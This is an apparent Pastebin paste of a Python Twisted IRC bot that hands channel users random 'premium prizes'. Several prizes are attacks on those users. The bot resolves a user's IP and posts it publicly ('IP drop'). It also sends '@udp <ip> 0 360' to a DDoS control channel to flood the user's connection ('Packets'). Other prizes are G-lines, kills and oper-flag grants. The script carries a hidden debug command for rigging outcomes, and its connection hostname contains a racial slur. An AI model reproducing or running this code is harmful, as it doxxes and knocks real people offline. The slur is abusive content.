Advertisement
Guest User

Untitled

a guest
Jul 8th, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.48 KB | None | 0 0
  1. from twisted.words.protocols import irc
  2. from twisted.internet import protocol
  3. from twisted.internet import reactor
  4. import random, time, madhash
  5. from random import randint
  6.  
  7. #more premium prizes
  8.     #zlines
  9.     #access to premium commands
  10.         #ip
  11.         #ddos
  12.         #kill
  13.         #kick
  14.         #etc
  15. #track good rewards maybe?
  16. #add more bad_ips
  17.  
  18. oper_pass = ''
  19. ns_pass = ''
  20. delay = 20
  21. ddos_channel = ''
  22. ddos_pass = ''
  23. bad_ips = ['127.0.0.1', '178.162.240.66', '178.162.240.67', '178.162.240.68', '178.162.240.69', '178.162.240.70', '178.162.240.71', '178.162.240.72']
  24. debug_prefix_add = '>>DEBUG_ADD<<'
  25. debug_prefix_del = '>>DEBUG_DEL<<'
  26.  
  27. def dice(max):
  28.     if random.randint(1,max) == 1:
  29.         return True
  30.     else:
  31.         return False
  32.  
  33. class HouseBot(irc.IRCClient):
  34.    
  35.     def _get_nickname(self):
  36.         return self.factory.nickname
  37.    
  38.     nickname = property(_get_nickname)
  39.     user_dict = {}
  40.     gift_dict = {}
  41.     ddos_dict = {}
  42.     ip_drop_dict = {}
  43.    
  44.     def signedOn(self):
  45.         self.sendLine('OPER %s' % oper_pass)
  46.         self.mode(self.factory.nickname,True,'BH',None,None,None)
  47.         self.msg('Nickserv','id %s' % ns_pass)
  48.         self.msg('Operserv', 'set superadmin on')
  49.         self.join(self.factory.channel)
  50.         self.join('%s %s' % (ddos_channel,ddos_pass))
  51.    
  52.     def gline(self,k,v,user,channel):
  53.         self.msg(channel,'%s just won a premium %s, with odds of 1 in %s. :D' % (user,k,v))
  54.         self.sendLine('GLINE %s %s :Enjoy your premium %s, courtesy of skidsr.us' % (user,k.split(' ')[0] ,k)) #fuck knows wat that bug wit switch was
  55.  
  56.     def kill(self,k,v,user,channel):
  57.         self.msg(channel,'%s just won a premium Kill, with odds of 1 in %s. :D' % (user,v))
  58.         self.sendLine('KILL %s :Enjoy your premium kill, courtesy of skidsr.us' % user)
  59.        
  60.     def _kick(self,k,v,user,channel):
  61.         self.msg(channel,'%s just won a premium %s from %s, with odds of 1 in %s. :D' % (user,k,channel,v))
  62.         self.kick(channel,user,reason='Enjoy your premium kick, courtesy of skidsr.us')
  63.        
  64.     def founder(self,k,v,user,channel):
  65.         self.msg(channel,'%s just won a premium %s in %s, with odds of 1 in %s. :D' % (user,k,channel,v))
  66.         self.mode(channel,True,'q',None,user,None)
  67.  
  68.     def oper(self,k,v,user,channel):
  69.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  70.         self.msg('OperServ','oline %s +iOwghraAxNWqt' % user)
  71.         self.msg('OperServ','umode %s +iOwghraAxNWqt' % user)
  72.  
  73.     def ddos(self,k,v,user,channel):
  74.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  75.         self.ddos_dict[user] = channel
  76.         self.sendLine('USERIP %s' % user)
  77.        
  78.     def vhost(self,k,v,user,channel):
  79.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  80.         self.sendLine('CHGIDENT %s Certified' % user)
  81.         self.sendLine('CHGHOST %s premium-chatter.%s' % (user,user))
  82.        
  83.     def ip_drop(self,k,v,user,channel):
  84.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  85.         self.ip_drop_dict[user] = channel
  86.         self.sendLine('USERIP %s' % user)
  87.  
  88.     def debug(self,k,v,user,channel):
  89.         self.msg(channel,'%s %s %s' % (k,v,user))
  90.        
  91.     prizes = {
  92.         '24hr Gline':[10000,gline],
  93.         '6hr Gline':[5000,gline],
  94.         '1hr Gline':[1000,gline],
  95.         '10min Gline':[800,gline],
  96.         '1min Gline':[150,gline],
  97.         'Kill':[50,kill],
  98.         'Kick':[20,_kick],
  99.         '+q':[60,founder],
  100.         'Oper Flags':[1000,oper],
  101.         'Packets':[450,ddos],
  102.         'vhost':[15,vhost],
  103.         'IP drop':[75,ip_drop],
  104.     }
  105.    
  106.     def irc_JOIN(self, prefix, params):
  107.         channel = params[0]
  108.         nick = prefix.split('!')[0]
  109.         host = prefix.split('!')[1]
  110.         if nick != self.factory.nickname and channel == self.factory.channel:
  111.             if host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
  112.                 self.user_dict[host] = int(time.time()) + delay
  113.                 for k, v in self.prizes.iteritems():
  114.                     if dice(v[0]):
  115.                         print 'Succesful Dice for %s' % k
  116.                         self.prizes[k][1](self,k,v[0],nick,channel)
  117.                         if k == 'vhost':
  118.                             del self.user_dict[host]
  119.                             self.user_dict['certified@premium-chatter.%s' % nick] = int(time.time()) + delay
  120.                         break
  121.             else:
  122.                 print '%s needs to wait %s seconds' % (nick, self.user_dict.get(host, None) - int(time.time()))
  123.         elif nick == self.factory.nickname:
  124.             self.msg(channel, 'Did someone say premium?')
  125.  
  126.    
  127.     def privmsg(self, user, channel, msg):
  128.         nick = user.split('!')[0]
  129.         try:
  130.             host = user.split('!')[1]
  131.         except IndexError, e:
  132.             pass
  133.         else:
  134.             if msg.split(' ')[0] == debug_prefix_add:
  135.                 try:
  136.                     person = msg.split(' ')[1]
  137.                     prize = ' '.join(msg.split(' ')[2:])
  138.                 except IndexError, e:
  139.                     self.notice(nick,'Invalid Syntax: %s nick reward' % debug_prefix_add)
  140.                 else:
  141.                     if prize in self.prizes:
  142.                         self.gift_dict[person] = prize
  143.                         self.notice(nick,'Debug set, %s will win %s next time they >roll' % (person,prize))
  144.                     else:
  145.                         self.notice(nick,'Invalid Reward, use: >prizes for a list of what can be won.')
  146.                
  147.         if msg.split(' ')[0] == debug_prefix_del:
  148.             try:
  149.                 person = msg.split(' ')[1]
  150.             except IndexError, e:
  151.                 self.notice(nick,'Invalid Syntax: %s nick' % debug_prefix_del)
  152.             else:
  153.                 if person in self.gift_dict:
  154.                     del self.gift_dict[person]
  155.                     self.notice(nick,'Debug for %s has been removed.' % person)
  156.                 else:
  157.                     self.notice(nick,'No denug set for %s' % person)
  158.                
  159.         if msg.split(' ')[0] == '>prizes':
  160.             self.notice(nick,'Premium prizes to be won:')
  161.             for k, v in self.prizes.iteritems():
  162.                 self.notice(nick,'%s with odds of 1 in %s' % (k,v[0]))
  163.                
  164.         if msg.split(' ')[0] == '>roll' and channel == self.factory.channel:
  165.             if nick in self.gift_dict:
  166.                 k = self.gift_dict.get(nick, None)
  167.                 v = self.prizes.get(k,None)
  168.                 self.prizes[k][1](self,k,v[0],nick,channel)
  169.                 print 'Succesful debug of %s for %s' % (k,nick)
  170.                 del self.gift_dict[nick]
  171.                
  172.             elif host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
  173.                 self.user_dict[host] = int(time.time()) + delay
  174.                 lucky = ''
  175.                 for k, v in self.prizes.iteritems():
  176.                     if dice(v[0]):
  177.                         print 'Succesful dice roll of %s for %s' % (k,nick)
  178.                         self.prizes[k][1](self,k,v[0],nick,channel)
  179.                         lucky = 1
  180.                         if k == 'vhost':
  181.                             del self.user_dict[host]
  182.                             self.user_dict['certified@premium-chatter.%s' % nick] = int(time.time()) + delay
  183.                         break
  184.                 if not lucky:
  185.                     self.notice(nick,'Unlucky, you haven\'t won any premium prize.')
  186.             else:
  187.                 self.notice(nick,'You need to wait %s seconds' % (self.user_dict.get(host, None) - int(time.time())))
  188.    
  189.     def irc_unknown(self, prefix, command, params):
  190.        
  191.         if command == '340':
  192.             user = params[1].split('=')[0].replace('*','')
  193.             ip = params[1].split('@')[1].replace(' ', '')  
  194.             if user in self.ddos_dict:
  195.                 if ip in bad_ips:
  196.                     self.msg(self.ddos_dict.get(user, None),'%s is lucky their ip is on the no ddos list' % user)
  197.                 else:
  198.                     self.msg(ddos_channel,'@udp %s 0 360' % ip)
  199.                 del self.ddos_dict[user]
  200.             elif user in self.ip_drop_dict:
  201.                 self.msg(self.ip_drop_dict.get(user, None),'%s: nice ip bro: %s' % (user,ip))
  202.                 del self.ip_drop_dict[user]
  203.  
  204.  
  205. class HouseBotFactory(protocol.ClientFactory):
  206.     protocol = HouseBot
  207.  
  208.     def __init__(self, channel, nickname='Premium_Bot'):
  209.         self.channel = channel
  210.         self.nickname = nickname
  211.        
  212.     def clientConnectionLost(self, connector, reason):
  213.         connector.connect()
  214.        
  215.     def clientConnectionFailed(self, connector, reason):
  216.         print "Connection failure:", reason
  217.         reactor.stop()
  218.  
  219. if __name__ == '__main__':
  220.     reactor.connectTCP('niggers.skidsr.us', 6667, HouseBotFactory('#venuism'))
  221.     reactor.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement